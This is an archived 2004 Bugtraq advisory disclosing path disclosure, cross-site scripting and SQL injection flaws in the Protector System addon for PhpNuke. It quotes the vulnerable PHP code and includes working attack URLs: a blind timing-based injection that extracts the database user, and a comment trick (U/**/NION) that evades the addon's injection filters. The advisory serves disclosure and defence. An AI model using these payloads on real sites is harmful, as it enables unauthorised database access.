| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20040423183202.25580.qmail@www.securityfocus.com>
Date: 23 Apr 2004 18:32:02 -0000
From: Janek Vind <come2waraxe@...oo.com>
To: bugtraq@...urityfocus.com
Subject: [waraxe-2004-SA#025 - Multiple vulnerabilities in Protector
System 1.15b1 for PhpNuke]
{================================================================================}
{ [waraxe-2004-SA#025] }
{================================================================================}
{ }
{ [ Multiple vulnerabilities in Protector System 1.15b1 for PhpNuke ] }
{ }
{================================================================================}
Author: Janek Vind "waraxe"
Date: 23. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=25
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Protector System - A PHPNuke addon for blocking ip numbers from your site & prevent
hack attempt!
Creator: Marcus aka Mister
Mail: mister@...center.se
Home page: http://www.warcenter.se
Support page: http://protector.warcenter.se
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A. Full path disclosure:
A1 - unchecked user submitted variable "portNum" (in integrated Network Query Tool)
If we make http request like this:
http://localhost/nuke72/admin/modules/blocker_query.php?target=foobar.com&queryType=all&portNum=foobar
... then we will see standard php error messages, revealing full path to script:
Warning: fsockopen() expects parameter 2 to be long, string given in D:\apache_wwwroot\nuke72\admin\modules\blocker_query.php on line 305
Port foobar does not appear to be open.
Reason is, that script does not check validity of the portNum, which must be integer in range of 1..65535.
B. Cross-site scripting aka XSS (in integrated Network Query Tool)
B1 - XSS through unsanitaized user submitted variable "target"
http://localhost/nuke72/admin/modules/blocker_query.php?target=foobar.com">[xss code here]
B2 - XSS through unsanitaized user submitted variable "portNum"
http://localhost/nuke72/admin/modules/blocker_query.php?target=foobar.com&queryType=all&portNum=foobar[xss code here]
C. Sql injection:
C1 - noncritical sql injection in "blocker.php"
Let's look at original code in /includes/blocker.php line 252:
if( isset( $_SERVER ) ) { $ref_addr = $_SERVER['HTTP_REFERER']; }
else { $ref_addr = getenv( 'HTTP_REFERER' ); }
if( isset( $_SERVER ) )
{
$last_page = $_SERVER['SCRIPT_NAME'];
if (($_SERVER['QUERY_STRING']) != "") { $last_page = $last_page . "?" . $_SERVER['QUERY_STRING'] ;}
$query_blocker = $_SERVER['QUERY_STRING'] ;
}
else
{
$last_page = getenv(SCRIPT_NAME);
if ((getenv(QUERY_STRING)) != "") { $last_page = $last_page . "?" . getenv(QUERY_STRING) ;}
}
$last_page = urldecode($last_page);
As we can see, $last_page has value of the urldecoded QUERY_STRING. So if we will add to query
string something like %27, then after urldecode() we have "'" (single quote) and this can be
beginning of the brand new sql injection case. Let's look further:
###################################
#Page Tracker Function by Kipuka
#
###################################
if ($tracker_del_on == 1) {
$max_tracker_check = $db->sql_query("SELECT count(*) as count FROM ".$prefix."_blocked_pagetracker WHERE id_tracker = '$access_id'");
$numrows = $db->sql_numrows($max_tracker_check);
if ($numrows > 0) {
list($count) = $db->sql_fetchrow($max_tracker_check);
}
//die("$last_page");
if ($count < $tracker_max_b) {
$db->sql_query("INSERT DELAYED INTO ".$prefix."_blocked_pagetracker (last_page ,page_date ,id_tracker) VALUES ('$last_page', '$date', '$access_id')");
$sqlx = "INSERT DELAYED INTO ".$prefix."_blocked_pagetracker (last_page ,page_date ,id_tracker) VALUES ('$last_page', '$date', '$access_id')";
$xxx = mysql_error();
//die("$xxx");
} else {
$tracker_limitB = $count - $tracker_max_b;
$result = $db->sql_query("SELECT id FROM ".$prefix."_blocked_pagetracker WHERE id_tracker = '$access_id' ORDER BY page_date LIMIT ".$tracker_limitB.",1");
$numrows = $db->sql_numrows($result);
if ($numrows > 0) {
$row = $db->sql_fetchrow($result);
$page_id = $row['id'];
$db->sql_query("DELETE FROM ".$prefix."_blocked_pagetracker WHERE id_tracker = '$access_id' AND id <= '$page_id'");
}
$xxx = mysql_error();
die("$xxx");
$db->sql_query("INSERT INTO ".$prefix."_blocked_pagetracker (last_page ,page_date ,id_tracker) VALUES ('$last_page', '$date', '$access_id')");
}
}
So, sql injection possibility exists, but not in "SELECT FROM" clause, but in "INSERT INTO" construction. So forget the
UNION and JOIN tricks. And MySql version 4.1 is not yet in wide use, so we can't use subselects ...
Therefore this is noncritical sql injection case, but anyway, potential attacker can use this security hole to
accomplish some tasks by using of the built-in mysql functions like:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
VERSION()
Because attacker does'nt have the visual feedback from script, "blindfolded" methods must be used, for example
"benchmark" method. This can be implemented in perl (php, python, etc...) script, using http requests similar to this:
http://localhost/nuke72/index.php?foobar%27,IF(ord(mid(USER(),1,1))%3d114,benchmark(500000,md5(1337)),1),2)/*
I have written proof of concept code in perl for this exploit and it works perfectly.
D. Easy bypass of the anti-sql-injection filters
Protector System implements various filters against XSS and sql injection. Examples:
...
//IF the user sending any $_SERVER["HTTP_REFERER"] then continue
if (strlen($_SERVER["HTTP_REFERER"]) > 0) {
//If the user is POSTing from another server do a scan
if(eregi("(^|[^a-zA-Z0-9])union(\ )+(all\ |distinct\ )?(\ )*select\ |\.\.\/", $sTemp) && !ereg("(http://$_SERVER[HTTP_HOST])", $_SERVER["HTTP_REFERER"]))
{
$original_ip = long2ip(-(4294967296-$ipcheck));
$the_error = "User $the_blocked_user with IP $original_ip tried to send information thru a POST method\r\n"
...
if(eregi("(^|[^a-zA-Z0-9])union(\ )+(all\ |distinct\ )?(\ )*select\ |\.\.\/", $sTemp))
{
//Just send a mail incase =)
if ($pro_mail && $pro_mail != '' && $mail_blocker == '1') { mail($pro_mail, $blocker_subject, $the_unset_error, $headers); }
unset($_POST[$FormFieldName]);
echo "<p><h1>Your Attempt to use SQL exploit was blocked</h1>";
echo "<i>Powered whit Protector System</i>";
die();
}
}
...
if($sec_cookieB == '1')
{
foreach ($_COOKIE as $cookie_name => $value_cookie) {
$result = $db ->sql_query("SELECT cookie FROM ".$prefix."_blocked_agent WHERE cookie = '$cookie_name'");
if($db->sql_numrows($result)>0 && !empty($_COOKIE))
{
if (eregi("union\ |&#?[a-zA-Z0-9]+;|:\/\/|\.\.\/|[$<>{}\(\)\"'`]", $value_cookie)) {
$value_cookie = htmlspecialchars($value_cookie, ENT_QUOTES);
setcookie($cookie_name,"", time() - 3600);
unset($_COOKIE[$cookie_name]);
}
}
...
###########################################################################
#Block unvanted GET code!
#Security scan of REQUEST_METHOD GET
#
############################################################################
if($sec_getB == '1')
{
if ((eregi("admin.php", $_SERVER['PHP_SELF']) && preg_match("/\?admin/", "$last_page")) OR (eregi("(^|[^a-zA-Z0-9])union(\ )+(all\ |distinct\ )?(\ )*select\ |\.\.\/", $last_page)) OR (stristr($last_page, "admin=")))
{
...
Nice try - not only GET, but POST and COOKIE variables get sanitized too ;)
But look, what i have readed some days ago:
http://www.imperva.com/application_defense_center/white_papers/sql_injection_signatures_evasion.html
This whitepaper, written by Ofer Maor and Amichai Shulman, describes various methods to
bypass sql injection detection and the final conclusion is:
"At this point, we believe the conclusion of this paper is clear to the
reader. Signature protection against SQL Injection is simply not
enough. Although this paper demonstrates only some of the variety
of evasion techniques for avoiding SQL Injection signatures, some or
even all of these techniques are likely to operate on most of today's
signature protection mechanisms."
I`m hundred percent agree with this. So let's try to fool sql injection filters in
Protector System in practice. First, we make request like this:
http://localhost/nuke72/index.php?foo=bar%20UNION%20SELECT%20ALL%20FROM%20WHERE
Oops, we got caught by Protector System: "The ip 127.0.0.1 has been blocked!"
Ok, it's time to show, how to evade this filter with using of the sql comments:
http://localhost/nuke72/index.php?foo=bar%20U/**/NION%20SELECT%20ALL%20FROM%20WHERE
Bingo! Filter does let us through!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@...oo.com
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ] ------------------------------------
Powered by blists - more mailing lists